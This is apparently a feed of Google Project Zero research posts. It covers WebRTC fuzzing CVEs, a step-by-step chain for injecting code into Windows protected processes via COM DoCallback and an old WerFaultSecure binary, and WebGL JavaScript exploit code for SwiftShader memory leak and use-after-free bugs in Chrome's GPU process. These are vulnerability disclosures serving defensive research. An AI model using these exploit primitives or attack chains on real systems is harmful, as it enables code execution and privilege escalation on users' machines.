The first issue, CVE-2018-6130 is an out-of-bounds memory issue related to the use of std::map find in processing VP9 (a video codec). In the following code, the value t10_pic_idx is pulled out of an RTP packet unverified (GOF stands for group of frames).
if (frame->frame_type() == kVideoFrameKey) {    ...    GofInfo info = gof_info_.find(codec_header.tl0_pic_idx)->second;    FrameReceivedVp9(frame->id.picture_id, &info);    UnwrapPictureIds(frame);    return kHandOff;  }

If this value does not exist in the gof_info_ array, std::map::find returns the end value of the map, which points to one element past the allocated values for the map. Depending on memory layout, dereferencing this iterator will either crash or return the contents of unallocated memory.
The second issue, CVE-2018-6129 is a more typical out-of-bounds read issue, where the index of a field is read out of an RTP packet, and not verified before it is used to index a vector.
The third issue, CVE-2018-6157 is a type confusion issue that occurs when a packet that looks like a VP8 packet is sent to the H264 parser. The packet will eventually be treated like an H264 packet even though it hasn’t gone through the necessary checks for H264. The impact of this issue is also limited to reading out of bounds.
There are a lot of limitations to the approach of fuzzing in a browser. It is very slow, the issues are difficult to reproduce, and it is difficult to fuzz a variety of test cases, because each call needs to be started manually, and certain properties, such as the default codec, can’t change in the middle of the call. After I reported these issues, the WebRTC team suggested that I use the video_replay tool, which can be used to replay RTP streams recorded in a patched browser. The tool was not able to reproduce a lot of my issues because they used non-default WebRTC settings configured through signalling, so I added the ability to load a configuration file alongside the RTP dump to this tool. This made it possible to quickly reproduce vulnerabilities in WebRTC.
This tool also had the benefit of enabling much faster fuzzing, as it was possible to fuzz RTP by fuzzing the RTP dump file and loading it into video_replay. There were some false positives, as it was also possible that fuzzing caused bugs in parsing the RTP dump file format, but most of the bugs were actually in RTP processing.Fuzzing with the video_replay tool with code coverage and ASAN enabled led to four more bugs. We ran the fuzzer on 50 cores for about two weeks to find these issues.
CVE-2018-6156 is probably the most exploitable bug uncovered. It is a large overflow in FEC. The buffer WebRTC uses to process FEC packets is 1500 bytes, but it does no size checking of these packets once they are extracted from RTP. Practically, they can be up to about 2000 bytes long.
CVE-2018-6155 is a use-after-free in a video codec called VP8. It is interesting because it affects the VP8 library, libvpx as opposed to code in WebRTC, so it has the potential to affect software that uses this library other than WebRTC. A generic fix for libvpx was released as a result of this bug.
CVE-2018-16071 is a use-after-free in VP9 processing that is somewhat similar to CVE-2018-6130. Once again, an untrusted index is pulled out of a packet, but this time it is used as the upper bounds of a vector erase operation, so it is possible to delete all the elements of the vector before it is used.
CVE-2018-16083 is an out-of-bounds read in FEC that occurs due to a lack of bounds checking.
Overall, end-to-end fuzzing found a lot of bugs in WebRTC, and a few were fairly serious. They have all now been fixed. This shows that end-to-end fuzzing is an effective approach for finding vulnerabilities in this type of video conferencing solution. In Part 2, we will try a similar approach on FaceTime. Stay tuned!
Categories: Security

Injecting Code into Windows Protected Processes using COM - Part 2

Google Project Zero - Fri, 11/30/2018 - 13:11
Posted by James Forshaw, Project Zero
In my previous blog I discussed a technique which combined numerous issues I’ve previously reported to Microsoft to inject arbitrary code into a PPL-WindowsTCB process. The techniques presented don’t work for exploiting the older, stronger Protected Processes (PP) for a few different reasons. This blog seeks to remedy this omission and provide details of how I was able to also hijack a full PP-WindowsTCB process without requiring administrator privileges. This is mainly an academic exercise, to see whether I can get code executing in a full PP as there’s not much more you can do inside a PP over a PPL.
As a quick recap of the previous attack, I was able to identify a process which would run as PPL which also exposed a COM service. Specifically, this was the “.NET Runtime Optimization Service” which ships with the .NET framework and uses PPL at CodeGen level to apply cached signing levels to Ahead-of-Time compiled DLLs to allow them to be used with User-Mode Code Integrity (UMCI). By modifying the COM proxy configuration it was possible to induce a type confusion which allowed me to load an arbitrary DLL by hijacking the KnownDlls configuration. Once running code inside the PPL I could abuse a bug in the cached signing feature to create a DLL signed to load into any PPL and through that escalate to PPL-WindowsTCB level.Finding a New TargetMy first thought to exploit full PP would be to use the additional access we were granted from having code running at PPL-WindowsTCB. You might assume you could abuse the cached signed DLL to bypass security checks to load into a full PP. Unfortunately the kernel’s Code Integrity module ignores cached signing levels for full PP. How about KnownDlls in general? If we have administrator privileges and code running in PPL-WindowsTCB we can directly write to the KnownDlls object directory (see another of my blog posts link for why you need to be PPL) and try to get the PP to load an arbitrary DLL. Unfortunately, as I mentioned in the previous blog, this also doesn’t work as full PP ignores KnownDlls. Even if it did load KnownDlls I don’t want to require administrator privileges to inject code into the process.
I decided that it’d make sense to rerun my PowerShell script from the previous blog to discover which executables will run as full PP and at what level. On Windows 10 1803 there’s a significant number of executables which run as PP-Authenticode level, however only four executables would start with a more privileged level as shown in the following table.
PathSigning LevelC:\windows\system32\GenValObj.exeWindowsC:\windows\system32\sppsvc.exeWindowsC:\windows\system32\WerFaultSecure.exeWindowsTCBC:\windows\system32\SgrmBroker.exeWindowsTCB
As I have no known route from PP-Windows level to PP-WindowsTCB level like I had with PPL, only two of the four executables are of interest, WerFaultSecure.exe and SgrmBroker.exe. I correlated these two executables against known COM service registrations, which turned up no results. That doesn’t mean these executables don’t expose a COM attack surface, the .NET executable I abused last time also doesn’t register its COM service, so I also performed some basic reverse engineering looking for COM usage.
The SgrmBroker executable doesn’t do very much at all, it’s a wrapper around an isolated user mode application to implement runtime attestation of the system as part of Windows Defender System Guard and didn’t call into any COM APIs. WerFaultSecure also doesn’t seem to call into COM, however I already knew that WerFaultSecure can load COM objects, as Alex Ionescu used my original COM scriptlet code execution attack to get PPL-WindowsTCB level though hijacking a COM object load in WerFaultSecure. Even though WerFaultSecure didn’t expose a service if it could initialize COM perhaps there was something that I could abuse to get arbitrary code execution? To understand the attack surface of COM we need to understand how COM implements out-of-process COM servers and COM remoting in general.Digging into COM Remoting InternalsCommunication between a COM client and a COM server is over the MSRPC protocol, which is based on the Open Group’s DCE/RPC protocol. For local communication the transport used is Advanced Local Procedure Call (ALPC) ports. At a high level communication occurs between a client and server based on the following diagram:

In order for a client to find the location of a server the process registers an ALPC endpoint with the DCOM activator in RPCSS ①. This endpoint is registered alongside the Object Exporter ID (OXID) of the server, which is a 64 bit randomly generated number assigned by RPCSS. When a client wants to connect to a server it must first ask RPCSS to resolve the server’s OXID value to an RPC endpoint ②. With the knowledge of the ALPC RPC endpoint the client can connect to the server and call methods on the COM object ③.
The OXID value is discovered either from an out-of-process (OOP) COM activation result or via a marshaled Object Reference (OBJREF) structure. Under the hood the client calls the ResolveOxid method on RPCSS’s IObjectExporter RPC interface. The prototype of ResolveOxid is as follows:
interface IObjectExporter {   // ...   error_status_t ResolveOxid(     [in] handle_t hRpc,     [in] OXID* pOxid,     [in] unsigned short cRequestedProtseqs,     [in] unsigned short arRequestedProtseqs[],     [out, ref] DUALSTRINGARRAY** ppdsaOxidBindings,     [out, ref] IPID* pipidRemUnknown,     [out, ref] DWORD* pAuthnHint );
In the prototype we can see the OXID to resolve is being passed in the pOxid parameter and the server returns an array of Dual String Bindings which represent RPC endpoints to connect to for this OXID value. The server also returns two other pieces of information, an Authentication Level Hint (pAuthnHint) which we can safely ignore and the IPID of the IRemUnknown interface (pipidRemUnknown) which we can’t.
An IPID is a GUID value called the Interface Process ID. This represents the unique identifier for a COM interface inside the server, and it’s needed to communicate with the correct COM object as it allows the single RPC endpoint to multiplex multiple interfaces over one connection. The IRemUnknown interface is a default COM interface every COM server must implement as it’s used to query for new IPIDs on an existing object (using RemQueryInterface) and maintain the remote object’s reference count (through RemAddRef and RemRelease methods). As this interface must always exist regardless of whether an actual COM server is exported and the IPID can be discovered through resolving the server’s OXID, I wondered what other methods the interface supported in case there was anything I could leverage to get code execution.
The COM runtime code maintains a database of all IPIDs as it needs to lookup the server object when it receives a request for calling a method. If we know the structure of this database we could discover where the IRemUnknown interface is implemented, parse its methods and find out what other features it supports. Fortunately I’ve done the work of reverse engineering the database format in my OleViewDotNet tool, specifically the command Get-ComProcess in the PowerShell module. If we run the command against a process which uses COM, but doesn’t actually implement a COM server (such as notepad) we can try and identify the correct IPID.

In this example screenshot there’s actually two IPIDs exported, IRundown and a Windows.Foundation interface. The Windows.Foundation interface we can safely ignore, but IRundown looks more interesting. In fact if you perform the same check on any COM process you’ll discover they also have IRundown interfaces exported. Are we not expecting an IRemUnknown interface though? If we pass the ResolveMethodNames and ParseStubMethods parameters to Get-ComProcess, the command will try and parse method parameters for the interface and lookup names based on public symbols. With the parsed interface data we can pass the IPID object to the Format-ComProxy command to get a basic text representation of the IRundown interface. After cleanup the IRundown interface looks like the following:
[uuid("00000134-0000-0000-c000-000000000046")]interface IRundown : IUnknown {    HRESULT RemQueryInterface(...);    HRESULT RemAddRef(...);    HRESULT RemRelease(...);    HRESULT RemQueryInterface2(...);    HRESULT RemChangeRef(...);    HRESULT DoCallback([in] struct XAptCallback* pCallbackData);    HRESULT DoNonreentrantCallback([in] struct XAptCallback* pCallbackData);    HRESULT AcknowledgeMarshalingSets(...);    HRESULT GetInterfaceNameFromIPID(...);    HRESULT RundownOid(...);}
This interface is a superset of IRemUnknown, it implements the methods such as RemQueryInterface and then adds some more additional methods for good measure. What really interested me was the DoCallback and DoNonreentrantCallback methods, they sound like they might execute a “callback” of some sort. Perhaps we can abuse these methods? Let’s look at the implementation of DoCallback based on a bit of RE (DoNonreentrantCallback just delegates to DoCallback internally so we don’t need to treat it specially):
struct XAptCallback {  void* pfnCallback;  void* pParam;  void* pServerCtx;  void* pUnk;  void* iid;  int   iMethod;  GUID  guidProcessSecret;};
HRESULT CRemoteUnknown::DoCallback(XAptCallback *pCallbackData) {  CProcessSecret::GetProcessSecret(&pguidProcessSecret);  if (!memcmp(&pguidProcessSecret,              &pCallbackData->guidProcessSecret, sizeof(GUID))) {    if (pCallbackData->pServerCtx == GetCurrentContext()) {      return pCallbackData->pfnCallback(pCallbackData->pParam);    } else {      return SwitchForCallback(                   pCallbackData->pServerCtx,                   pCallbackData->pfnCallback,                   pCallbackData->pParam);    }  }  return E_INVALIDARG;}
This method is very interesting, it takes a structure containing a pointer to a method to call and an arbitrary parameter and executes the pointer. The only restrictions on calling the arbitrary method is you must know ahead of time a randomly generated GUID value, the process secret, and the address of a server context. The checking of a per-process random value is a common security pattern in COM APIs and is typically used to restrict functionality to only in-process callers. I abused something similar in the Free-Threaded Marshaler way back in 2014.
What is the purpose of DoCallback? The COM runtime creates a new IRundown interface for every COM apartment that’s initialized. This is actually important as calling methods between apartments, say calling a STA object from a MTA, you need to call the appropriate IRemUnknown methods in the correct apartment. Therefore while the developers were there they added a few more methods which would be useful for calling between apartments, including a general “call anything you like” method. This is used by the internals of the COM runtime and is exposed indirectly through methods such as CoCreateObjectInContext. To prevent the DoCallback method being abused OOP the per-process secret is checked which should limit it to only in-process callers, unless an external process can read the secret from memory.Abusing DoCallbackWe have a primitive to execute arbitrary code within any process which has initialized COM by invoking the DoCallback method, which should include a PP. In order to successfully call arbitrary code we need to know four pieces of information:
  1. The ALPC port that the COM process is listening on.
  2. The IPID of the IRundown interface.
  3. The initialized process secret value.
  4. The address of a valid context, ideally the same value that GetCurrentContext returns to call on the same RPC thread.

Getting the ALPC port and the IPID is easy, if the process exposes a COM server, as both will be provided during OXID resolving. Unfortunately WerFaultSecure doesn’t expose a COM object we can create so that angle wouldn’t be open to us, leaving us with a problem we need to solve. Extracting the process secret and context value requires reading the contents of process memory. This is another problem, one of the intentional security features of PP is preventing a non-PP process from reading memory from a PP process. How are we going to solve these two problems?
Talking this through with Alex at Recon we came up with a possible attack if you have administrator access. Even being an administrator doesn’t allow you to read memory directly from a PP process. We could have loaded a driver, but that would break PP entirely, so we considered how to do it without needing kernel code execution.
First and easiest, the ALPC port and IPID can be extracted from RPCSS. The RPCSS service does not run protected (even PPL) so this is possible to do without any clever tricks other than knowing where the values are stored in memory. For the context pointer, we should be able to brute force the location as there’s likely to be only a narrow range of memory locations to test, made slightly easier if we use the 32 bit version of WerFaultSecure.
Extracting the secret is somewhat harder. The secret is initialized in writable memory and therefore ends up in the process’ working set once it’s modified. As the page isn’t locked it will be eligible for paging if the memory conditions are right. Therefore if we could force the page containing the secret to be paged to disk we could read it even though it came from a PP process. As an administrator, we can perform the following to steal the secret:
  1. Ensure the secret is initialized and the page is modified.
  2. Force the process to trim its working set, this should ensure the modified page containing the secret ends up paged to disk (eventually).
  3. Create a kernel memory crash dump file using the NtSystemDebugControl system call. The crash dump can be created by an administrator without kernel debugging being enabled and will contain all live memory in the kernel. Note this doesn’t actually crash the system.
  4. Parse the crash dump for the Page Table Entry of the page containing the secret value. The PTE should disclose where in the paging file on disk the paged data is located.
  5. Open the volume containing the paging file for read access, parse the NTFS structures to find the paging file and then find the paged data and extract the secret.

After coming up with this attack it seemed far too much like hard work and needed administrator privileges which I wanted to avoid. I needed to come up with an alternative solution.Using WerFaultSecure for its Original PurposeUp to this point I’ve been discussing WerFaultSecure as a process that can be abused to get arbitrary code running inside a PP/PPL. I’ve not really described why the process can run at the maximum PP/PPL levels. WerFaultSecure is used by the Windows Error Reporting service to create crash dumps from protected processes. Therefore it needs to run at elevated PP levels to ensure it can dump any possible user-mode PP. Why can we not just get WerFaultSecure to create a crash dump of itself, which would leak the contents of process memory and allow us to extract any information we require?
The reason we can’t use WerFaultSecure is it encrypts the contents of the crash dump before writing it to disk. The encryption is done in a way to only allow Microsoft to decrypt the crash dump, using asymmetric encryption to protect a random session key which can be provided to the Microsoft WER web service. Outside of a weakness in Microsoft’s implementation or a new cryptographic attack against the primitives being used getting the encrypted data seems like a non-starter.
However, it wasn’t always this way. In 2014 Alex presented at NoSuchCon about PPL and discussed a bug he’d discovered in how WerFaultSecure created encrypted dump files. It used a two step process, first it wrote out the crash dump unencrypted, then it encrypted the crash dump. Perhaps you can spot the flaw? It was possible to steal the unencrypted crash dump. Due to the way WerFaultSecure was called it accepted two file handles, one for the unencrypted dump and one for the encrypted dump. By calling WerFaultSecure directly the unencrypted dump would never be deleted which means that you don’t even need to race the encryption process.
There’s one problem with this, it was fixed in 2015 in MS15-006. After that fix WerFaultSecure encrypted the crash dump directly, it never ends up on disk unencrypted at any point. But that got me thinking, while they might have fixed the bug going forward what prevents us from taking the old vulnerable version of WerFaultSecure from Windows 8.1 and executing it on Windows 10? I downloaded the ISO for Windows 8.1 from Microsoft’s website (link), extracted the binary and tested it, with predictable results:

We can take the vulnerable version of WerFaultSecure from Windows 8.1 and it will run quite happily on Windows 10 at PP-WindowsTCB level. Why? It’s unclear, but due to the way PP is secured all the trust is based on the signed executable. As the signature of the executable is still valid the OS just trusts it can be run at the requested protection level. Presumably there must be some way that Microsoft can block specific executables, although at least they can’t just revoke their own signing certificates. Perhaps OS binaries should have an EKU in the certificate which indicates what version they’re designed to run on? After all Microsoft already added a new EKU when moving from Windows 8 to 8.1 to block downgrade attacks to bypass WinRT UMCI signing so generalizing might make some sense, especially for certain PP levels.
After a little bit of RE and reference to Alex’s presentation I was able to work out the various parameters I needed to be passed to the WerFaultSecure process to perform a dump of a PP:
ParameterDescription/hEnable secure dump mode./pid {pid}Specify the Process ID to dump./tid {tid}Specify the Thread ID in the process to dump./file {handle}Specify a handle to a writable file for the unencrypted crash dump/encfile {handle}Specify a handle to a writable file for the encrypted crash dump/cancel {handle}Specify a handle to an event to indicate the dump should be cancelled/type {flags}Specify MIMDUMPTYPE flags for call to MiniDumpWriteDump
This gives us everything we need to complete the exploit. We don’t need administrator privileges to start the old version of WerFaultSecure as PP-WindowsTCB. We can get it to dump another copy of WerFaultSecure with COM initialized and use the crash dump to extract all the information we need including the ALPC Port and IPID needed to communicate. We don’t need to write our own crash dump parser as the Debug Engine API which comes installed with Windows can be used. Once we’ve extracted all the information we need we can call DoCallback and invoke arbitrary code.Putting it All TogetherThere’s still two things we need to complete the exploit, how to get WerFaultSecure to start up COM and what we can call to get completely arbitrary code running inside the PP-WindowsTCB process.
Let’s tackle the first part, how to get COM started. As I mentioned earlier, WerFaultSecure doesn’t directly call any COM methods, but Alex had clearly used it before so to save time I just asked him. The trick was to get WerFaultSecure to dump an AppContainer process, this results in a call to the method CCrashReport::ExemptFromPlmHandling inside the FaultRep DLL resulting in the loading of CLSID {07FC2B94-5285-417E-8AC3-C2CE5240B0FA}, which resolves to an undocumented COM object. All that matters is this allows WerFaultSecure to initialize COM.
Unfortunately I’ve not been entirely truthful during my description of how COM remoting is setup. Just loading a COM object is not always sufficient to initialize the IRundown interface or the RPC endpoint. This makes sense, if all COM calls are to code within the same apartment then why bother to initialize the entire remoting code for COM. In this case even though we can make WerFaultSecure load a COM object it doesn’t meet the conditions to setup remoting. What can we do to convince the COM runtime that we’d really like it to initialize? One possibility is to change the COM registration from an in-process class to an OOP class. As shown in the screenshot below the COM registration is being queried first from HKEY_CURRENT_USER which means we can hijack it without needing administrator privileges.

Unfortunately looking at the code this won’t work, a cut down version is shown below:
HRESULT CCrashReport::ExemptFromPlmHandling(DWORD dwProcessId) {  CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);  IOSTaskCompletion* inf;  HRESULT hr = CoCreateInstance(CLSID_OSTaskCompletion,      NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&inf));  if (SUCCEEDED(hr)) {    // Open process and disable PLM handling.  }}
The code passes the flag, CLSCTX_INPROC_SERVER to CoCreateInstance. This flag limits the lookup code in the COM runtime to only look for in-process class registrations. Even if we replace the registration with one for an OOP class the COM runtime would just ignore it. Fortunately there’s another way, the code is initializing the current thread’s COM apartment as a STA using the COINIT_APARTMENTTHREADED flag with CoInitializeEx. Looking at the registration of the COM object its threading model is set to “Both”. What this means in practice is the object supports being called directly from either a STA or a MTA.
However, if the threading model was instead set to “Free” then the object only supports direct calls from an MTA, which means the COM runtime will have to enable remoting, create the object in an MTA (using something similar to DoCallback) then marshal calls to that object from the original apartment. Once COM starts remoting it initializes all remote features including IRundown. As we can hijack the server registration we can just change the threading model, this will cause WerFaultSecure to start COM remoting which we can now exploit.
What about the second part, what can we call inside the process to execute arbitrary code? Anything we call using DoCallback must meet the following criteria, to avoid undefined behavior:
  1. Only takes one pointer sized parameter.
  2. Only the lower 32 bits of the call are returned as the HRESULT if we need it.
  3. The callsite is guarded by CFG so it must be something which is a valid indirect call target.

As WerFaultSecure isn’t doing anything special then at a minimum any DLL exported function should be a valid indirect call target. LoadLibrary clearly meets our criteria as it takes a single parameter which is a pointer to the DLL path and we don’t really care about the return value so the truncation isn’t important. We can’t just load any DLL as it must be correctly signed, but what about hijacking KnownDlls?
Wait, didn’t I say that PP can’t load from KnownDlls? Yes they can’t but only because the value of the LdrpKnownDllDirectoryHandle global variable is always set to NULL during process initialization. When the DLL loader checks for the presence of a known DLL if the handle is NULL the check returns immediately. However if the handle has a value it will do the normal check and just like in PPL no additional security checks are performed if the process maps an image from an existing section object. Therefore if we can modify the LdrpKnownDllDirectoryHandle global variable to point to a directory object inherited into the PP we can get it to load an arbitrary DLL.
The final piece of the puzzle is finding an exported function which we can call to write an arbitrary value into the global variable. This turns out to be harder than expected. The ideal function would be one which takes a single pointer value argument and writes to that location with no other side effects. After a number of false starts (including trying to use gets) I settled on the pair, SetProcessDefaultLayout and GetProcessDefaultLayout in USER32. The set function takes a single value which is a set of flags and stores it in a global location (actually in the kernel, but good enough). The get method will then write that value to an arbitrary pointer. This isn’t perfect as the values we can set and therefore write are limited to the numbers 0-7, however by offsetting the pointer in the get calls we can write a value of the form 0x0?0?0?0? where the ? can be any value between 0 and 7. As the value just has to refer to the handle inside a process under our control we can easily craft the handle to meet these strict requirements. Wrapping UpIn conclusion to get arbitrary code execution inside a PP-WindowsTCB without administrator privileges process we can do the following:
  1. Create a fake KnownDlls directory, duplicating the handle until it meets a pattern suitable for writing through Get/SetProcessDefaultLayout. Mark the handle as inheritable.
  2. Create the COM object hijack for CLSID {07FC2B94-5285-417E-8AC3-C2CE5240B0FA} with the ThreadingModel set to “Free”.
  3. Start Windows 10 WerFaultSecure at PP-WindowsTCB level and request a crash dump from an AppContainer process. During process creation the fake KnownDlls must be added to ensure it’s inherited into the new process.
  4. Wait until COM has initialized then use Windows 8.1 WerFaultSecure to dump the process memory of the target.
  5. Parse the crash dump to discover the process secret, context pointer and IPID for IRundown.
  6. Connect to the IRundown interface and use DoCallback with Get/SetProcessDefaultLayout to modify the LdrpKnownDllDirectoryHandle global variable to the handle value created in 1.
  7. Call DoCallback again to call LoadLibrary with a name to load from our fake KnownDlls.

This process works on all supported versions of Windows 10 including 1809. It’s worth noting that invoking DoCallback can be used with any process where you can read the contents of memory and the process has initialized COM remoting. For example, if you had an arbitrary memory disclosure vulnerability in a privileged COM service you could use this attack to convert the arbitrary read into arbitrary execute. As I don’t tend to look for memory corruption/memory disclosure vulnerabilities perhaps this behavior is of more use to others.
That concludes my series of attacking Windows protected processes. I think it demonstrates that preventing a user from attacking processes which share resources, such as registry and files is ultimately doomed to fail. This is probably why Microsoft do not support PP/PPL as a security boundary. Isolated User Mode seems a much stronger primitive, although that does come with additional resource requirements which PP/PPL doesn’t for the most part.  I wouldn’t be surprised if newer versions of Windows 10, by which I mean after version 1809, will try to mitigate these attacks in some way, but you’ll almost certainly be able to find a bypass.
Categories: Security

Heap Feng Shader: Exploiting SwiftShader in Chrome

Google Project Zero - Wed, 10/24/2018 - 14:17
Posted by Mark Brand, Google Project Zero
On the majority of systems, under normal conditions, SwiftShader will never be used by Chrome - it’s used as a fallback if you have a known-bad “blacklisted” graphics card or driver. However, Chrome can also decide at runtime that your graphics driver is having issues, and switch to using SwiftShader to give a better user experience. If you’re interested to see the performance difference, or just to have a play, you can launch Chrome using SwiftShader instead of GPU acceleration using the --disable-gpu command line flag.
SwiftShader is quite an interesting attack surface in Chrome, since all of the rendering work is done in a separate process; the GPU process. Since this process is responsible for drawing to the screen, it needs to have more privileges than the highly-sandboxed renderer processes that are usually handling webpage content. On typical Linux desktop system configurations, technical limitations in sandboxing access to the X11 server mean that this sandbox is very weak; on other platforms such as Windows, the GPU process still has access to a significantly larger kernel attack surface. Can we write an exploit that gets code execution in the GPU process without first compromising a renderer? We’ll look at exploiting two issues that we reported that were recently fixed by Chrome.
It turns out that if you have a supported GPU, it’s still relatively straightforward for an attacker to force your browser to use SwiftShader for accelerated graphics - if the GPU process crashes more than 4 times, Chrome will fallback to this software rendering path instead of disabling acceleration. In my testing it’s quite simple to cause the GPU process to crash or hit an out-of-memory condition from WebGL - this is left as an exercise for the interested reader. For the rest of this blog-post we’ll be assuming that the GPU process is already in the fallback software rendering mode.
Previous precision problems
So; we previously discussed an information leak issue resulting from some precision issues in the SwiftShader code - so we’ll start here, with a useful leaking primitive from this issue. A little bit of playing around brought me to the following result, which will allocate a texture of size 0xb620000 in the GPU process, and when the function read()is called on it will return the 0x10000 bytes directly following that buffer back to javascript. (The allocation will happen at the first line marked in bold, and the out-of-bounds access happens at the second).
function issue_1584(gl) {  const src_width  = 0x2000;  const src_height = 0x16c4;
 // we use a texture for the source, since this will be allocated directly  // when we call glTexImage2D.
 this.src_fb = gl.createFramebuffer();  gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);
 let src_data = new Uint8Array(src_width * src_height * 4);  for (var i = 0; i < src_data.length; ++i) {    src_data[i] = 0x41;  }
 let src_tex = gl.createTexture();  gl.bindTexture(gl.TEXTURE_2D, src_tex);  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);  gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);
 this.read = function() {    gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);
   const dst_width  = 0x2000;    const dst_height = 0x1fc4;
   dst_fb = gl.createFramebuffer();    gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
   let dst_rb = gl.createRenderbuffer();    gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);    gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height);    gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);
   gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
   // trigger    gl.blitFramebuffer(0, 0, src_width, src_height,                       0, 0, dst_width, dst_height,                       gl.COLOR_BUFFER_BIT, gl.NEAREST);
   // copy the out of bounds data back to javascript    var leak_data = new Uint8Array(dst_width * 8);    gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);    gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data);    return leak_data.buffer;  }
 return this;}
This might seem like quite a crude leak primitive, but since SwiftShader is using the system heap, it’s quite easy to arrange for the memory directly following this allocation to be accessible safely.
And a second bug
Now, the next vulnerability we have is a use-after-free of an egl::ImageImplementation object caused by a reference count overflow. This object is quite a nice object from an exploitation perspective, since from javascript we can read and write from the data it stores, so it seems like the nicest exploitation approach would be to replace this object with a corrupted version; however, as it’s a c++ object we’ll need to break ASLR in the GPU process to achieve this. If you’re reading along in the exploit code, the function leak_image in feng_shader.html implements a crude spray of egl::ImageImplementation objects and uses the information leak above to find an object to copy.
So - a stock-take. We’ve just free’d an object, and we know exactly what the data that *should* be in that object looks like. This seems straightforward - now we just need to find a primitive that will allow us to replace it!
This was actually the most frustrating part of the exploit. Due to the multiple levels of validation/duplication/copying that occur when OpenGL commands are passed from WebGL to the GPU process (Initial WebGL validation (in renderer), GPU command buffer interface, ANGLE validation), getting a single allocation of a controlled size with controlled data is non-trivial! The majority of allocations that you’d expect to be useful (image/texture data etc.) end up having lots of size restrictions or being rounded to different sizes.
However, there is one nice primitive for doing this - shader uniforms. This is the way in which parameters are passed to programmable GPU shaders; and if we look in the SwiftShader code we can see that (eventually) when these are allocated they will do a direct call to operator new[]. We can read and write from the data stored in a uniform, so this will give us the primitive that we need.
The code below implements this technique for (very basic) heap grooming in the SwiftShader/GPU process, and an optimised method for overflowing the reference count. The shader source code (the first bold section) will cause 4 allocations of size 0xf0 when the program object is linked, and the second bold section is where the original object will be free’d and replaced by a shader uniform object.
function issue_1585(gl, fake) {  let vertex_shader = gl.createShader(gl.VERTEX_SHADER);  gl.shaderSource(vertex_shader, `    attribute vec4 position;    uniform int block0[60];    uniform int block1[60];    uniform int block2[60];    uniform int block3[60];
   void main() {      gl_Position = position;      gl_Position.x += float(block0[0]);      gl_Position.x += float(block1[0]);      gl_Position.x += float(block2[0]);      gl_Position.x += float(block3[0]);    }`);  gl.compileShader(vertex_shader);
 let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER);  gl.shaderSource(fragment_shader, `    void main() {      gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0);    }`);  gl.compileShader(fragment_shader);
 this.program = gl.createProgram();  gl.attachShader(this.program, vertex_shader);  gl.attachShader(this.program, fragment_shader);
 const uaf_width = 8190;  const uaf_height = 8190;
 this.fb = gl.createFramebuffer();  uaf_rb = gl.createRenderbuffer();
 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb);  gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb);  gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height);  gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb);
 let tex = gl.createTexture();  gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex);  // trigger  for (i = 2; i < 0x10; ++i) {    gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);  }
 function unroll(gl) {    gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);    // snip ...    gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);  }
 for (i = 0x10; i < 0x100000000; i += 0x10) {    unroll(gl);  }
 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so  // this call will free it, leaving a dangling reference  gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0);
 // replace the allocation with our shader uniform.  gl.linkProgram(this.program);  gl.useProgram(this.program);
 function wait(ms) {    var start = Date.now(),    now = start;    while (now - start < ms) {      now = Date.now();    }  }
 function read(uaf, index) {    wait(200);    var read_data = new Int32Array(60);    for (var i = 0; i < 60; ++i) {      read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']'));    }    return read_data.buffer;  }
 function write(uaf, index, buffer) {    gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer));    wait(200);  }
 this.read = function() {    return read(this, this.index);  }
 this.write = function(buffer) {    return write(this, this.index, buffer);  }
 for (var i = 0; i < 4; ++i) {    write(this, i, fake.buffer);  }
 gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16));  for (var i = 0; i < 4; ++i) {    data = new DataView(read(this, i));    for (var j = 0; j < 0xf0; ++j) {      if (fake.getUint8(j) != data.getUint8(j)) {        log('uaf block index is ' + i.toString());        this.index = i;        return this;      }    }  }}
At this point we can modify the object to allow us to read and write from all of the GPU process’ memory; see the read_write function for how the gl.readPixels and gl.blitFramebuffer methods are used for this.
